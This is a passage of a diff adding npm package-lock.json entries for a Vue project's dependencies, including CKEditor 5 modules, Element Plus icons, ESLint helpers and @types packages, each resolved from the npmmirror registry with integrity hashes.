"43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-upload": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-upload/-/ckeditor5-upload-43.3.1.tgz", + "integrity": "sha512-uOEhCgqgiK4V/CnbnuwHU/NUOG4ioQE5KUUtVmRG2xjQKg5C1uIT2dig+wnKw8vOdwVTMD2hVt7/OC/whQuheQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1" + } + }, + "node_modules/@ckeditor/ckeditor5-utils": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-utils/-/ckeditor5-utils-43.3.1.tgz", + "integrity": "sha512-4CyM3AP+DcfuPuw+zceI3UTh3HcusnvFVeRPPw6j3Qe29/jadZYsdvkdo9KsDaiwgx0ctooKCuY9SfAcd/CZNQ==", + "dependencies": { + "@ckeditor/ckeditor5-ui": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-vue": { + "version": "7.3.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-vue/-/ckeditor5-vue-7.3.0.tgz", + "integrity": "sha512-OM8VW2bf5cXWKKaSr2eS1BhjzPmvkC2Jp/rWFdjU8wi4hhcKVJ5QqMepDguDcC+PHThaLec45WIrQTeLCb2AaA==", + "dependencies": { + "@ckeditor/ckeditor5-integrations-common": "^2.2.2", + "lodash-es": "^4.17.21" + }, + "engines": { + "node": ">=18.0.0" + }, + "peerDependencies": { + "ckeditor5": ">=42.0.0 || ^0.0.0-nightly", + "vue": "^3.4.0" + } + }, + "node_modules/@ckeditor/ckeditor5-watchdog": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-watchdog/-/ckeditor5-watchdog-43.3.1.tgz", + "integrity": "sha512-d9gh0QIrrImIe2SFLo/IBLdpgC9REVkvUTv//qLbUaM2ffBboMnpJYPAB/hgl8ev4lkDvCrivlGjc/80COfGTQ==", + "dependencies": { + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-widget": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-widget/-/ckeditor5-widget-43.3.1.tgz", + "integrity": "sha512-0naXUVC6BFLnuj3lu5aTfRxmqV6py9+zqGHdJJZ0x8uSg9qcfUCLEQvA59bqzNteRya/lZeZhYKj8IcGnbB1oA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-engine": "43.3.1", + "@ckeditor/ckeditor5-enter": "43.3.1", + "@ckeditor/ckeditor5-typing": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-word-count": { + "version": "43.3.1", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-word-count/-/ckeditor5-word-count-43.3.1.tgz", + "integrity": "sha512-W0Ic7y4/ePVqW22pHuXv5HRAbaDJFO13rUqyTZqU2H2ExZdMbJN6eT/UVhnO1XvKs/+jdKGO3LGWXt9QmmtkhA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.3.1", + "@ckeditor/ckeditor5-ui": "43.3.1", + "@ckeditor/ckeditor5-utils": "43.3.1", + "ckeditor5": "43.3.1", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ctrl/tinycolor": { + "version": "3.6.1", + "resolved": "https://registry.npmmirror.com/@ctrl/tinycolor/-/tinycolor-3.6.1.tgz", + "integrity": "sha512-SITSV6aIXsuVNV3f3O0f2n/cgyEDWoSqtZMYiAmcsYHydcKrOz3gUxB/iXd/Qf08+IZX4KpgNbvUdMBmWz+kcA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@discoveryjs/json-ext": { + "version": "0.5.7", + "resolved": "https://registry.npmmirror.com/@discoveryjs/json-ext/-/json-ext-0.5.7.tgz", + "integrity": "sha512-dBVuXR082gk3jsFp7Rd/JI4kytwGHecnCoTtXFb7DB6CNHp4rg5k1bhg0nWdLGLnOV71lmDzGQaLMy8iPLY0pw==", + "dev": true, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/@element-plus/icons-vue": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/@element-plus/icons-vue/-/icons-vue-2.3.1.tgz", + "integrity": "sha512-XxVUZv48RZAd87ucGS48jPf6pKu0yV5UCg9f4FFwtrYxXOwWuVJo6wOvSLKEoMQKjv8GsX/mhP6UsC1lRwbUWg==", + "peerDependencies": { + "vue": "^3.2.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "0.4.3", + "resolved": "https://registry.npmmirror.com/@eslint/eslintrc/-/eslintrc-0.4.3.tgz", + "integrity": "sha512-J6KFFz5QCYUJq3pf0mjEcCJVERbzv71PUIDczuh9JkwGEzced6CO5ADLHB1rbf/+oPBtoPfMYNOpGDzCANlbXw==", + "dev": true, + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.1.1", + "espree": "^7.3.0", + "globals": "^13.9.0", + "ignore": "^4.0.6", + "import-fresh": "^3.2.1", + "js-yaml": "^3.13.1", + "minimatch": "^3.0.4", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/@eslint/eslintrc/node_modules/globals": { + "version": "13.24.0", + "resolved": "https://registry.npmmirror.com/globals/-/globals-13.24.0.tgz", + "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", + "dev": true, + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@eslint/eslintrc/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@floating-ui/core": { + "version": "1.6.8", + "resolved": "https://registry.npmmirror.com/@floating-ui/core/-/core-1.6.8.tgz", + "integrity": "sha512-7XJ9cPU+yI2QeLS+FCSlqNFZJq8arvswefkZrYI1yQBbftw6FyrZOxYSh+9S7z7TpeWlRt9zJ5IhM1WIL334jA==", + "dependencies": { + "@floating-ui/utils": "^0.2.8" + } + }, + "node_modules/@floating-ui/dom": { + "version": "1.6.12", + "resolved": "https://registry.npmmirror.com/@floating-ui/dom/-/dom-1.6.12.tgz", + "integrity": "sha512-NP83c0HjokcGVEMeoStg317VD9W7eDlGK7457dMBANbKA6GJZdc7rjujdgqzTaz93jkGgc5P/jeWbaCHnMNc+w==", + "dependencies": { + "@floating-ui/core": "^1.6.0", + "@floating-ui/utils": "^0.2.8" + } + }, + "node_modules/@floating-ui/utils": { + "version": "0.2.8", + "resolved": "https://registry.npmmirror.com/@floating-ui/utils/-/utils-0.2.8.tgz", + "integrity": "sha512-kym7SodPp8/wloecOpcmSnWJsK7M0E5Wg8UcFA+uO4B9s5d0ywXOEro/8HM9x0rW+TljRzul/14UYz3TleT3ig==" + }, + "node_modules/@hapi/hoek": { + "version": "9.3.0", + "resolved": "https://registry.npmmirror.com/@hapi/hoek/-/hoek-9.3.0.tgz", + "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==", + "dev": true + }, + "node_modules/@hapi/topo": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/@hapi/topo/-/topo-5.1.0.tgz", + "integrity": "sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==", + "dev": true, + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@humanwhocodes/config-array": { + "version": "0.5.0", + "resolved": "https://registry.npmmirror.com/@humanwhocodes/config-array/-/config-array-0.5.0.tgz", + "integrity": "sha512-FagtKFz74XrTl7y6HCzQpwDfXP0yhxe9lHLD1UZxjvZIcbyRz8zTFF/yYNfSfzU414eDwZ1SrO0Qvtyf+wFMQg==", + "deprecated": "Use @eslint/config-array instead", + "dev": true, + "dependencies": { + "@humanwhocodes/object-schema": "^1.2.0", + "debug": "^4.1.1", + "minimatch": "^3.0.4" + }, + "engines": { + "node": ">=10.10.0" + } + }, + "node_modules/@humanwhocodes/object-schema": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", + "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==", + "deprecated": "Use @eslint/object-schema instead", + "dev": true + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.5", + "resolved": "https://registry.npmmirror.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.5.tgz", + "integrity": "sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==", + "dev": true, + "dependencies": { + "@jridgewell/set-array": "^1.2.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.24" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/@jridgewell/set-array/-/set-array-1.2.1.tgz", + "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/source-map": { + "version": "0.3.6", + "resolved": "https://registry.npmmirror.com/@jridgewell/source-map/-/source-map-0.3.6.tgz", + "integrity": "sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.25" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.0", + "resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz", + "integrity": "sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.25", + "resolved": "https://registry.npmmirror.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz", + "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==", + "dev": true, + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@leichtgewicht/ip-codec": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/@leichtgewicht/ip-codec/-/ip-codec-2.0.5.tgz", + "integrity": "sha512-Vo+PSpZG2/fmgmiNzYK9qWRh8h/CHrwD0mo1h1DzL4yzHNSfWYujGTYsWGreD000gcgmZ7K4Ys6Tx9TxtsKdDw==", + "dev": true + }, + "node_modules/@mixmark-io/domino": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/@mixmark-io/domino/-/domino-2.2.0.tgz", + "integrity": "sha512-Y28PR25bHXUg88kCV7nivXrP2Nj2RueZ3/l/jdx6J9f8J4nsEGcgX0Qe6lt7Pa+J79+kPiJU3LguR6O/6zrLOw==" + }, + "node_modules/@nicolo-ribaudo/eslint-scope-5-internals": { + "version": "5.1.1-v1", + "resolved": "https://registry.npmmirror.com/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz", + "integrity": "sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==", + "dev": true, + "dependencies": { + "eslint-scope": "5.1.1" + } + }, + "node_modules/@node-ipc/js-queue": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/@node-ipc/js-queue/-/js-queue-2.0.3.tgz", + "integrity": "sha512-fL1wpr8hhD5gT2dA1qifeVaoDFlQR5es8tFuKqjHX+kdOtdNHnxkVZbtIrR2rxnMFvehkjaZRNV2H/gPXlb0hw==", + "dev": true, + "dependencies": { + "easy-stack": "1.0.1" + }, + "engines": { + "node": ">=1.0.0" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@polka/url": { + "version": "1.0.0-next.28", + "resolved": "https://registry.npmmirror.com/@polka/url/-/url-1.0.0-next.28.tgz", + "integrity": "sha512-8LduaNlMZGwdZ6qWrKlfa+2M4gahzFkprZiAt2TF8uS0qQgBizKXpXURqvTJ4WtmupWxaLqjRb2UCTe72mu+Aw==", + "dev": true + }, + "node_modules/@popperjs/core": { + "version": "2.11.8", + "resolved": "https://registry.npmmirror.com/@popperjs/core/-/core-2.11.8.tgz", + "integrity": "sha512-P1st0aksCrn9sGZhp8GMYwBnQsbvAWsZAX44oXNNvLHGqAOcoVxmjZiohstwQ7SqKnbR47akdNi+uleWD8+g6A==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } + }, + "node_modules/@rollup/pluginutils": { + "version": "5.1.3", + "resolved": "https://registry.npmmirror.com/@rollup/pluginutils/-/pluginutils-5.1.3.tgz", + "integrity": "sha512-Pnsb6f32CD2W3uCaLZIzDmeFyQ2b8UWMFI7xtwUezpcGBDVDW6y9XgAWIlARiGAo6eNF5FK5aQTr0LFyNyqq5A==", + "dev": true, + "dependencies": { + "@types/estree": "^1.0.0", + "estree-walker": "^2.0.2", + "picomatch": "^4.0.2" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" + }, + "peerDependenciesMeta": { + "rollup": { + "optional": true + } + } + }, + "node_modules/@rollup/pluginutils/node_modules/picomatch": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-4.0.2.tgz", + "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/@sideway/address": { + "version": "4.1.5", + "resolved": "https://registry.npmmirror.com/@sideway/address/-/address-4.1.5.tgz", + "integrity": "sha512-IqO/DUQHUkPeixNQ8n0JA6102hT9CmaljNTPmQ1u8MEhBo/R4Q8eKLN/vGZxuebwOroDB4cbpjheD4+/sKFK4Q==", + "dev": true, + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@sideway/formula": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/@sideway/formula/-/formula-3.0.1.tgz", + "integrity": "sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==", + "dev": true + }, + "node_modules/@sideway/pinpoint": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/@sideway/pinpoint/-/pinpoint-2.0.0.tgz", + "integrity": "sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==", + "dev": true + }, + "node_modules/@soda/friendly-errors-webpack-plugin": { + "version": "1.8.1", + "resolved": "https://registry.npmmirror.com/@soda/friendly-errors-webpack-plugin/-/friendly-errors-webpack-plugin-1.8.1.tgz", + "integrity": "sha512-h2ooWqP8XuFqTXT+NyAFbrArzfQA7R6HTezADrvD9Re8fxMLTPPniLdqVTdDaO0eIoLaAwKT+d6w+5GeTk7Vbg==", + "dev": true, + "dependencies": { + "chalk": "^3.0.0", + "error-stack-parser": "^2.0.6", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8.0.0" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/@soda/get-current-script": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/@soda/get-current-script/-/get-current-script-1.0.2.tgz", + "integrity": "sha512-T7VNNlYVM1SgQ+VsMYhnDkcGmWhQdL0bDyGm5TlQ3GBXnJscEClUUOKduWTmm2zCnvNLC1hc3JpuXjs/nFOc5w==", + "dev": true + }, + "node_modules/@trysound/sax": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/@trysound/sax/-/sax-0.2.0.tgz", + "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==", + "dev": true, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/@types/body-parser": { + "version": "1.19.5", + "resolved": "https://registry.npmmirror.com/@types/body-parser/-/body-parser-1.19.5.tgz", + "integrity": "sha512-fB3Zu92ucau0iQ0JMCFQE7b/dv8Ot07NI3KaZIkIUNXq82k4eBAqUaneXfleGY9JWskeS9y+u0nXMyspcuQrCg==", + "dev": true, + "dependencies": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "node_modules/@types/bonjour": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@types/bonjour/-/bonjour-3.5.13.tgz", + "integrity": "sha512-z9fJ5Im06zvUL548KvYNecEVlA7cVDkGUi6kZusb04mpyEFKCIZJvloCcmpmLaIahDpOQGHaHmG6imtPMmPXGQ==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect": { + "version": "3.4.38", + "resolved": "https://registry.npmmirror.com/@types/connect/-/connect-3.4.38.tgz", + "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect-history-api-fallback": { + "version": "1.5.4", + "resolved": "https://registry.npmmirror.com/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.5.4.tgz", + "integrity": "sha512-n6Cr2xS1h4uAulPRdlw6Jl6s1oG8KrVilPN2yUITEs+K48EzMJJ3W1xy8K5eWuFvjp3R74AOIGSmp2UfBJ8HFw==", + "dev": true, + "dependencies": { + "@types/express-serve-static-core": "*", + "@types/node": "*" + } + }, + "node_modules/@types/eslint": { + "version": "8.56.12", + "resolved": "https://registry.npmmirror.com/@types/eslint/-/eslint-8.56.12.tgz", + "integrity": "sha512-03ruubjWyOHlmljCVoxSuNDdmfZDzsrrz0P2LeJsOXr+ZwFQ+0yQIwNCwt/GYhV7Z31fgtXJTAEs+FYlEL851g==", + "dev": true, + "dependencies": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "node_modules/@types/eslint-scope": { + "version": "3.7.7", + "resolved": "https://registry.npmmirror.com/@types/eslint-scope/-/eslint-scope-3.7.7.tgz", + "integrity": "sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==", + "dev": true, + "dependencies": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "node_modules/@types/estree": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/@types/estree/-/estree-1.0.6.tgz", + "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==", + "dev": true + }, + "node_modules/@types/express": { + "version": "4.17.21", + "resolved": "https://registry.npmmirror.com/@types/express/-/express-4.17.21.tgz", + "integrity": "sha512-ejlPM315qwLpaQlQDTjPdsUFSc6ZsP4AN6AlWnogPjQ7CVi7PYF3YVz+CY3jE2pwYf7E/7HlDAN0rV2GxTG0HQ==", + "dev": true, + "dependencies": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.33", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "node_modules/@types/express-serve-static-core": { + "version": "5.0.2", + "resolved": "https://registry.npmmirror.com/@types/express-serve-static-core/-/express-serve-static-core-5.0.2.tgz", + "integrity": "sha512-vluaspfvWEtE4vcSDlKRNer52DvOGrB2xv6diXy6UKyKW0lqZiWHGNApSyxOv+8DE5Z27IzVvE7hNkxg7EXIcg==", + "dev": true, + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "node_modules/@types/express/node_modules/@types/express-serve-static-core": { + "version": "4.19.6", + "resolved": "https://registry.npmmirror.com/@types/express-serve-static-core/-/express-serve-static-core-4.19.6.tgz", + "integrity": "sha512-N4LZ2xG7DatVqhCZzOGb1Yi5lMbXSZcmdLDe9EzSndPV2HpWYWzRbaerl2n27irrm94EPpprqa8KpskPT085+A==", + "dev": true, + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "node_modules/@types/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==", + "dev": true + }, + "node_modules/@types/http-errors": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/@types/http-errors/-/http-errors-2.0.4.tgz", + "integrity": "sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA==", + "dev": true + }, + "node_modules/@types/http-proxy": { + "version": "1.17.15", + "resolved": "https://registry.npmmirror.com/@types/http-proxy/-/http-proxy-1.17.15.tgz", + "integrity": "sha512-25g5atgiVNTIv0LBDTg1H74Hvayx0ajtJPLLcYE3whFv75J0pWNtOBzaXJQgDTmrX1bx5U9YC2w/n65BN1HwRQ==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmmirror.com/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true + }, + "node_modules/@types/lodash": { + "version": "4.17.13", + "resolved": "https://registry.npmmirror.com/@types/lodash/-/lodash-4.17.13.tgz", + "integrity": "sha512-lfx+dftrEZcdBPczf9d0Qv0x+j/rfNCMuC6OcfXmO8gkfeNAY88PgKUbvG56whcN23gc27yenwF6oJZXGFpYxg==" + }, + "node_modules/@types/lodash-es": { + "version": "4.17.12", + "resolved": "https://registry.npmmirror.com/@types/lodash-es/-/lodash-es-4.17.12.tgz", + "integrity": "sha512-0NgftHUcV4v34VhXm8QBSftKVXtbkBG3ViCjs6+eJ5a6y6Mi/jiFGPc1sC7QK+9BFhWrURE3EOggmWaSxL9OzQ==", + "dependencies": { + "@types/lodash": "*" + } + }, + "node_modules/@types/mime": { + "version": "1.3.5", + "resolved": "https://registry.npmmirror.com/@types/mime/-/mime-1.3.5.tgz", + "integrity": "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==", + "dev": true + }, + "node_modules/@types/minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmmirror.com/@types/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-hov8bUuiLiyFPGyFPE1lwWhmzYbirOXQNNo40+y3zow8aFVTeyn3VWL0VFFfdNddA8S4Vf0Tc062rzyNr7Paag==", + "dev": true + }, + "node_modules/@types/node": { + "version": "22.10.1", + "resolved": "https://registry.npmmirror.com/@types/node/-/node-22.10.1.tgz", + "integrity": "sha512-qKgsUwfHZV2WCWLAnVP1JqnpE6Im6h3Y0+fYgMTasNQ7V++CBX5OT1as0g0f+OyubbFqhf6XVNIsmN4IIhEgGQ==", + "dev": true, + "dependencies": { + "undici-types": "~6.20.0" + } + }, + "node_modules/@types/node-forge": { + "version": "1.3.11", + "resolved": "https://registry.npmmirror.com/@types/node-forge/-/node-forge-1.3.11.tgz", + "integrity": "sha512-FQx220y22OKNTqaByeBGqHWYz4cl94tpcxeFdvBo3wjG6XPBuZ0BNgNZRV5J5TFmmcsJ4IzsLkmGRiQbnYsBEQ==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/normalize-package-data": { + "version": "2.4.4", + "resolved": "https://registry.npmmirror.com/@types/normalize-package-data/-/normalize-package-data-2.4.4.tgz", + "integrity": "sha512-37i+OaWTh9qeK4LSHPsyRC7NahnGotNuZvjLSgcPzblpHB3rrCJxAOgI5gCdKm7coonsaX1Of0ILiTcnZjbfxA==", + "dev": true + }, + "node_modules/@types/parse-json": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/@types/parse-json/-/parse-json-4.0.2.tgz", + "integrity": "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw==", + "dev": true + }, + "node_modules/@types/qs": { + "version": "6.9.17", + "resolved": "https://registry.npmmirror.com/@types/qs/-/qs-6.9.17.tgz", + "integrity": "sha512-rX4/bPcfmvxHDv0XjfJELTTr+iB+tn032nPILqHm5wbthUUUuVtNGGqzhya9XUxjTP8Fpr0qYgSZZKxGY++svQ==", + "dev": true + }, + "node_modules/@types/range-parser": { + "version": "1.2.7", + "resolved": "https://registry.npmmirror.com/@types/range-parser/-/range-parser-1.2.7.tgz", + "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==", + "dev": true + }, + "node_modules/@types/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmmirror.com/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", + "dev": true + }, + "node_modules/@types/send": { + "version": "0.17.4", + "resolved": "https://registry.npmmirror.com/@types/send/-/send-0.17.4.tgz", + "integrity": "sha512-x2EM6TJOybec7c52BX0ZspPodMsQUd5L6PRwOunVyVUhXiBSKf3AezDL8Dgvgt5o0UfKNfuA0eMLr2wLT4AiBA==", + "dev": true, + "dependencies": { + "@types/mime": "^1", + "@types/node": "*" + } + }, + "node_modules/@types/serve-index": { 